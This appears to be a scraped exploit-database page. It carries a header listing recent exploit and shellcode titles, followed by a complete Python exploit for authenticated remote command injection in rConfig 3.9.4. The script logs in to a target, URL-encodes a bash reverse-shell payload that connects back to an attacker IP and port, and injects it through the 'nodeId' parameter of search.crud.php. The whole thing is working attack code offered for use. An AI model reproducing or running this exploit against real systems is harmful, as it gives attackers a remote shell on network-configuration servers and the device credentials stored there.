b84d953124
10 changes to exploits/shellcodes ProficySCADA for iOS 5.0.25920 - 'Password' Denial of Service (PoC) Google Chrome 80.0.3987.87 - Heap-Corruption Remote Denial of Service (PoC) CyberArk PSMP 10.9.1 - Policy Restriction Bypass PHPMailer < 5.2.18 - Remote Code Execution (Bash) FIBARO System Home Center 5.021 - Remote File Include rConfig 3.9.4 - 'search.crud.php' Remote Command Injection Joomla! com_hdwplayer 4.2 - 'search.php' SQL Injection Windows\x86 - Null-Free WinExec Calc.exe Shellcode (195 bytes) Windows\x64 - Dynamic MessageBoxA or MessageBoxW PEB & Import Table Method Shellcode (232 bytes) Windows/x86 - Null-Free WinExec Calc.exe Shellcode (195 bytes) Windows/x64 - Dynamic MessageBoxA or MessageBoxW PEB & Import Table Method Shellcode (232 bytes) Linux\x86 - 'reboot' polymorphic Shellcode (26 bytes)
54 lines
No EOL
1.5 KiB
Python
Executable file
54 lines
No EOL
1.5 KiB
Python
Executable file
# Exploit Title: rConfig 3.9.4 - 'search.crud.php' Remote Command Injection
|
|
# Date: 2020-03-21
|
|
# Exploit Author: Matthew Aberegg, Michael Burkey
|
|
# Vendor Homepage: https://www.rconfig.com
|
|
# Software Link: https://www.rconfig.com/downloads/rconfig-3.9.4.zip
|
|
# Version: rConfig 3.9.4
|
|
# Tested on: Cent OS 7 (1908)
|
|
|
|
#!/usr/bin/python3
|
|
|
|
import requests
|
|
import sys
|
|
import urllib.parse
|
|
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
|
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
|
|
|
if len(sys.argv) != 6:
|
|
print("[~] Usage : https://rconfig_host, Username, Password, Attacker IP, Attacker Port")
|
|
exit()
|
|
|
|
host = sys.argv[1]
|
|
username = sys.argv[2]
|
|
password = sys.argv[3]
|
|
attacker_ip = sys.argv[4]
|
|
attacker_port = sys.argv[5]
|
|
|
|
login_url = host + "/lib/crud/userprocess.php"
|
|
payload = "|| bash -i >& /dev/tcp/{0}/{1} 0>&1 ;".format(attacker_ip, attacker_port)
|
|
encoded_payload = urllib.parse.quote_plus(payload)
|
|
|
|
|
|
def exploit():
|
|
s = requests.Session()
|
|
|
|
res = s.post(
|
|
login_url,
|
|
data={
|
|
'user': username,
|
|
'pass': password,
|
|
'sublogin': 1
|
|
},
|
|
verify=False,
|
|
allow_redirects=True
|
|
)
|
|
|
|
injection_url = "{0}/lib/crud/search.crud.php?searchTerm=test&catId=2&numLineStr=&nodeId={1}&catCommand=showcdpneigh*.txt&noLines=".format(host, encoded_payload)
|
|
res = s.get(injection_url, verify=False)
|
|
|
|
if res.status_code != 200:
|
|
print("[~] Failed to connect")
|
|
|
|
|
|
if __name__ == '__main__':
|
|
exploit() |